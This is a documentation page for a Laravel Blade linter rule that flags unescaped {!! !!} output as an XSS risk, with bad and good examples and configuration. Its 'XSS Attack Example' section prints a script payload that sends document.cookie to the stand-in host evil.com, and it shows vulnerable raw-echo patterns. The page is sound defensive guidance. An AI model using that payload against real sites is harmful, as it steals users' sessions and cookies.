Sheath rule
security-no-raw-echo
Avoid raw echo
{!! !!} syntax which can introduce XSS vulnerabilities.
#Why
{!! !!} writes its value into the page without escaping, so a value containing
<script> becomes a script the browser runs. If any part of that value came from
a user, they choose what runs, with the session and cookies of whoever is
viewing the page.
{{ }} escapes, which is why it is the default.
#Examples
#Bad
<!-- Raw output of user-controlled data -->
{!! $user->bio !!}
{!! $comment->content !!}
{!! request('message') !!}
<!-- Raw output of unvalidated data -->
{!! $html !!}
{!! $userInput !!}
#Good
<!-- Use escaped output for user data -->
{{ $user->bio }}
{{ $comment->content }}
{{ request('message') }}
<!-- Use Blade components for complex HTML -->
<x-markdown :content="$user->bio" />
#When Raw Echo Is Acceptable
Raw echo can be used safely when:
- Trusted source: Content is from your own code, not user input
- Sanitized: HTML has been cleaned with a library like HTMLPurifier
- Static content: Pre-defined HTML snippets from your codebase
<!-- Acceptable: Content from trusted source -->
{!! $post->formatted_content !!} <!-- Sanitized in model accessor -->
<!-- Acceptable: Rendered Markdown sanitized before output -->
{!! clean(Str::markdown($post->body)) !!}
<!-- Acceptable: Pre-defined static HTML -->
{!! $icon->svg() !!}
#Options
Use this option to permit raw output expressions that the project has reviewed.
| Option | Type | Default | Description |
|---|---|---|---|
allowed |
array | [] |
Patterns to allow (supports wildcards) |
<?php
'security-no-raw-echo' => ['warning', [
'allowed' => [
'$slot', // Default Blade slot
'$icon->svg()', // Trusted icon SVGs
'$trustedHtml*', // Wildcard pattern
],
]],
#XSS Attack Example
<!-- If user submits: <script>document.location='evil.com?c='+document.cookie</script> -->
<!-- Bad: executes the script -->
{!! $userInput !!}
<!-- Good: displays as text -->
{{ $userInput }}
<!-- Output: <script>document.location=... -->
#Alternatives to Raw Echo
Choose an output strategy that matches the source and content type:
| Need | Solution |
|---|---|
| Rich text | Render Markdown, sanitize the HTML, then use raw output |
| User HTML | Sanitize first: {!! clean($html) !!} |
| SVG icons | Component: <x-icon name="home" /> |
| Trusted HTML | Add the expression to the rule's allowed option |
#Notes
- Every
{!! !!}usage should be justified - When in doubt, use
{{ }}instead - Consider this rule a code review checkpoint for security
#References
- OWASP: Cross-Site Scripting (XSS) - Understanding XSS attack vectors
- Laravel: Displaying Data - Blade's automatic escaping behavior
#Related Rules
- blade-no-triple-echo - Legacy echo syntax